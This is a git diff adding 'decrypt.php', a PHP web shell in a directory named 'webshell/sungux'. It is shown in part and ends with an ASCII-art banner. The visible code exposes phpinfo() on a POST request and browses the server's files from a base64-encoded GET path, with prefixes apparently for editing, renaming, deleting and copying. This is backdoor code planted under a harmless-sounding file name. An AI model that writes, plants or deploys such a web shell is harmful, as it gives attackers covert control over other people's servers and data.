diff --git a/upsi1on/webshell/sungux/decrypt.php b/upsi1on/webshell/sungux/decrypt.php new file mode 100644 index 0000000..a88cefe --- /dev/null +++ b/upsi1on/webshell/sungux/decrypt.php @@ -0,0 +1,745 @@ + + body { + color: Gray; + background: #353535; + font-weight: Bold; + font-family: Arial; + font-size: 14px; + } + + input[id=one] { + background: Transparent; + color: Gray; + font-weight: Bold; + border: #353535 1px solid; + } + + input[id=textinput] { + border: 1px #353535 solid; + background: #353535; + color: Gray; + font-weight: Bold; + width: 50%; + } + + input[type=submit] { + background: Transparent; + color: Gray; + font-weight: Bold; + border: #353535 1px solid; + } + + input[type=file] , [id=three] { + width: 30%; + border: 1px Gray solid; + border-radius: 10px; + background: #353535; + color: Gray; + } + + input[id=two] { + margin-left: 70px; + } + + a { + text-decoration: none; + color: Gray; + } + + table { + font-weight: Bold; + } + + textarea { + width: 90%; + height: 50%; + } + + .iclass { + margin-left: 40px; + } + + +"; + +if (isset($_POST["phpinfo"])) { + echo "back"; + phpinfo(); + exit; +} + +echo "
"; + +$path = base64_decode($_GET["path"]); + +if (is_dir($path)) { + if ($path !== "/") { + $slash = "/"; + } else { + $slash = ""; + } +} else { + $checkslash = substr($path, 2); + if (is_dir($checkslash)) { + if ($checkslash !== "/") { + $slash = "/"; + } else { + $slash = ""; + } + } else { + if (is_file($checkslash)) { + if ($checkslash !== "/") { + $slash = "/"; + } else { + $slash = ""; + } + } + } +} + +if (!is_dir($path)) { + if (substr($path, 0, 2) == "#E") { + if (!is_file(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } else { + if (substr($path, 0, 2) == "#R") { + if (!is_file(substr($path, 2))) { + if (!is_dir(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } else { + if (substr($path, 0, 2) == "#D") { + if (!is_file(substr($path, 2))) { + if (!is_dir(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } else { + if (substr($path, 0, 2) == "#C") { + if (!is_file(substr($path, 2))) { + if (!is_dir(substr($path, 2))) { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } else { + header("Location: ?path=".base64_encode(__DIR__).""); + } + } + } + } +} +echo "+.d8888b 888 888 88888b. .d88b. 888 888 888 888 +88K 888 888 888 '88b d88P'88b 888 888 `Y8bd8P' +'Y8888b. 888 888 888 888 888 888 888 888 X88K + X88 Y88b 888 888 888 Y88b 888 Y88b 888 .d8''8b. +d88888P' 'Y88888 888 888 'Y88888 'Y88888 888 888 + 888 + Y8b d88P + 'Y88P' +